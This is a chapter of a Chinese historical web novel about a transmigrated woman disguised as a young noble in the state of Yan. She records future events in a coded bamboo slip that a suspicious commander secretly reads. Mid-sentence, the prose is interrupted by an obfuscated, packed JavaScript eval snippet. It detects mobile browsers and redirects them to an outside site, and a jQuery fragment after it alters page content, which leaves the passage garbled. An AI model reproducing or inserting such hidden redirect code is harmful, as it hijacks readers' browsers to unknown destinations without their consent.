寒风撞在门帘上,传来沙沙的声响,几缕风偷溜进来,将桌上的烛火晃得摇曳不停,光影在男人的脸上明灭变幻。
室内一片寂静,只余下灯芯燃烧的噼啪声。朱祉叡垂下眼睑,遮住了眸底翻涌的情绪。
苏渔放下茶盏,“茶已喝完,您军务繁忙,在下便不叨扰了。”说罢她起身离去。
四下又归于沉寂。
*
暮色四合,夜如钩。
京墨是被笔头的“莎莎”声惊醒的,他擦掉嘴角口水,发现自己竟趴在桌上睡着了,转头见苏渔仍在奋笔疾书。
京墨打了个哈欠,“少爷明日再写吧,都三更了。”以前的少爷太荒唐,现在这个少爷又太勤奋了。
苏渔头也没抬,口中含糊应道,“就差最后一点了。”说着手中笔未停,写下最后一行:甘单,尧胜。
京墨凑上前看着竹简上的鬼画桃符,神色迷茫,“少爷在写什么?我怎么看不懂?”
苏渔心道,能看懂就坏了。
京墨凝视着少年,困扰了他整整一天的疑问几乎就要脱口而出,“你把少爷藏哪儿去了?”
拆穿此人的念头也曾在脑海中浮现过,却被他迅速掐灭了:不过几日光景,他却已对眼前这假少爷生出了万分的依恋。
他甚至希望,真正的苏渔,最好是永远都别再回来。
可笑的是,二十年主仆,他对少爷除了刻骨的恨,竟寻不到半分温情可忆。
少爷的恶早已生根。
这念头刚起,巨大的恐惧便攫住了他:若这一切只是场美梦,待明日醒来,少爷又变回原样,他又该如何?尝过了甘甜,再回望来路,便只觉得满地荆棘,再难行寸步。
看着手中这份朱氏独家天机,朱棠衣陷入沉思。
今日她突然意识到一件事,一个陈直都让她想破了脑袋,随着时间的流逝,她会慢慢遗忘掉更多的事,所以趁现在记忆还清晰,她得将它们都记下来。
揉了揉昏沉的头,她放下笔,一头瘫在床上,身体极度困乏,大脑却兴奋得睡不着——
七年后,霍骁便要将苏家满门尽灭,一想到这糟心事,她如何能睡着?
苏渔的祖父苏季莲是霍家祖孙三代的仇人。当年在战场上,苏季莲一箭射死霍骁的祖父霍圭,这结的可是不死不休的血海深仇。
尘世万千之人,没人能拦住霍骁,他是凭着两千人就拦下十三万燕军的疯子。
灵魂飘荡的那些年,她见识了太多泯灭人性之人,可尤属霍骁最盛。他披着张人皮行走于尘世,恶鬼见了都要退避三舍。
十三万人,说杀就杀了,活脱阎罗转世,不,阎王尚有个生死簿,这位煞神杀人全凭心情。
世人唤他“人屠”。
但不得不承认,此人当真手段了得,先灭燕朔,再收楚国,扫六合,定天下,一路摧枯拉朽将支离破碎的大邺尽收秦舆。
所以这偌大的大邺,无论燕朔抑或南楚都将改名换姓,成为他霍骁的疆土——她又能躲到哪去?
或许…可以躲到秦国?
可若只身西逃,便是以流民的身份,且又是这副肩不能挑手不能提的身子,只怕情况比现在还糟。既如此,那就继续留在燕朔——西秦灭燕是几年后的事,之间的这段时日,她可以慢慢思考如何破局。
并非所有的死局都无解。
蚯蚓尚能降龙。
霍骁有双车,她只有三卒,最终能否以弱制强,达成和棋,全看她这过河卒的本事了。
*
抬头瞥了眼十尺有余的院墙,郭大槐纵身一跃,轻巧地立在墙檐上。他身长八尺,却身轻如燕,落在院中时,竟悄无声息。
大踏步进了院子,他几步便隐了身形。门口守卫的婆子正打着盹,丝毫没发现他的身影。
他脚步匆匆往阁楼行去,爬了八层,气息仍是四平八稳。到了角楼屋外,他并未推门而入,而是踱步到窗前,低声咕哝了一句,片刻后,槅扇便被人从里边打开,郭大槐从窗户一跃而入,槅扇很快又合上了。
进屋后,他先就着八仙桌上的茶一饮而尽,水早就冷了,他却丝毫未察一般,一壶不够,又将桌上喝剩的茶一饮而尽,这才稍解口中干渴。
案上孤灯摇曳,映着一张羊皮图纸,其上墨线纵横,勾勒出一个繁琐的阵型,隐隐透着金戈铁马的杀气。朱祉叡指尖划过图纸上的一处,烛火在他眸中跳个不停,明灭不定。
他抬起头瞥了眼郭大槐的牛饮之态,目光又落回到羊皮上的阵型,有了此阵,就算只有五千兵马,他也可以杀回去。
“公子为何不约在军营?距点兵只有一个时辰了,此刻只怕来不及赶回去了…”郭大槐操着一口浓烈的南方方言。
朱祉叡摇头。
“军中人多眼杂。”
郭大槐笑道,“您也太瞧得起他们了,燕朔这帮兔崽子,鹅就算在里面溜十个来回,他们也发现不了。”
朱祉叡面无表情地看着他,郭大槐神色一凛,这才想起正事。
“鹅入夜便盯着那小白脸,他从亥时一直忙到丑时,您不说他好逸恶劳么?鹅瞧着还挺用功的,侍从都打了几个盹,他...”
朱祉叡皱眉,打断了他漫无边际的话,“说重点。”
二十多年的下属,郭大槐敏锐地察觉到公子今夜情绪不太对,他神色一整,忙从怀中掏出一册竹简,“喏,那小子趴着写了整整两个时辰,结果一整晚才写出这么一小卷。”
朱祉叡接过竹简,“他的侍从没发现你吧?”
郭大槐咧嘴一笑,拍了拍胸脯,“您也忒小瞧鹅了,那小子也就会些粗浅的拳脚功夫,一点警觉都没有,睡得沉着哩......”
朱祉叡直接无视了聒噪的下属,指尖翻开竹简,目光落在卷册上,神色不由一顿——
字他都认识,可它们凑在一起,却一句都看不懂了…
“甘单”是谁?
“尧”又是何处?
见朱祉叡目不转睛地盯着那竹简,神色是他从未见过的困惑,郭大槐不禁也凑上前好奇地瞥了一眼,随即捧腹大笑,“他一整宿就写出来这?哈哈还真是个银样蜡枪头!”
看着那些语句不通的文字,朱祉叡不由啼笑皆非。
难道是长夜漫漫,少年人的随手涂鸦之作?
直觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353910|183615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
告诉他不对。
今日的苏渔明显与往日大不相同了,竟似脱胎换骨一般。但若说是他创出这阵法,自己是决计不信的。
他太年轻了,没那个阅历。
或许...对方是在某本失传的兵书上偶然得知的?男人指节无意识地叩击着桌案,在寂静黑夜中显得格外清晰。
郭大槐眸中闪过一丝诧异,公子很少露出这种表情。
五更梆子蓦地响起,残烛将熄的青烟在男人沉思的面容上缭绕。
朱祉叡突然抬头问道,“他屋中可有简牍?或帛书?”
郭大槐鸡啄米般点头,“有啊!就摆在床上,边角都翻烂了,一看就是夜夜品读!”
“是何书?”
郭大槐嘿嘿直笑。
“春宫图。”
朱祉叡闻言一愣,接着也低头哂笑起来,是他钻牛角尖了。那少年的确说得对,这阵法从何而来并不重要,重要的是他独独将它给了自己,为什么?果真如他所言,因为自己配得上?
天下熙熙皆为利来,天下攘攘皆为利往。世间之人皆逃不开这熔炉的炼造,更甩不掉欲望的追逐,他们必生所求无非是权势和金钱,那少年也不例外。
朱祉叡看着手中竹简,将烛火又拿近了几分,从左往右地细细地看过去,摩挲的手指骤然僵住了——
果真不对!
这些字拼在一起虽毫无意义,但他过目不忘,“尧”、“林”、“禾”、“月”这个字反复出现多次,且还被特意圈了出来。
尧、林、禾、月?
究竟有何深意?
意识到这并非少年的玩闹之作,朱祉叡不由哑然失笑。这小子远看是个废物,走近却是一团迷雾。
这一刻,朱祉叡突然对此人起了浓厚的好奇,甚至想走进这团迷雾中看个究竟,里面到底是棵烂透了的枯木朽株,还是株疏影暗香的琼枝玉树。
朱祉叡将竹简卷好,递给郭大槐,“把它原原本本送回去,别让他发现了。”
郭大槐心下暗自奇怪。
为何让他送回去?岂不是容易被对方发现?但他从不质疑朱祉叡的决定,点头称是,正要举步离去,却又被叫住了。
“等等。”
郭大槐转身看向朱祉叡。
朱祉叡沉默片刻,神色逐渐变得肃然,“盯着他,一举一动都不可错过。”
郭大槐身形一顿,无声退了出去,这小子身上究竟藏了什么秘密,竟让公子下这等命令?
*
天边一抹霞光刺破拂晓,晨鼓轰隆,朔风如刀,五万士卒寂然陈列,盔甲反射出阵阵寒光,刀戟林立,锋刃在晨雾中凝出霜色,一看便是在寒风中站立了许久了。
看着校场上五万将士,苏渔觉得甚是荒诞。自己一个楚国人,如今竟摇身一变成了燕朔的纨绔少年,还演起了木兰从军,易钗而弁。
而眼前这些士兵,他们的命运早已注定:再过百日,这几万黑袍军,加上符统的八万玄甲军——整整十三万人,都要被霍骁活活困死在郢都。
史书一句“燕军尽数葬送”,却是一条条鲜活的人命。
天道无情。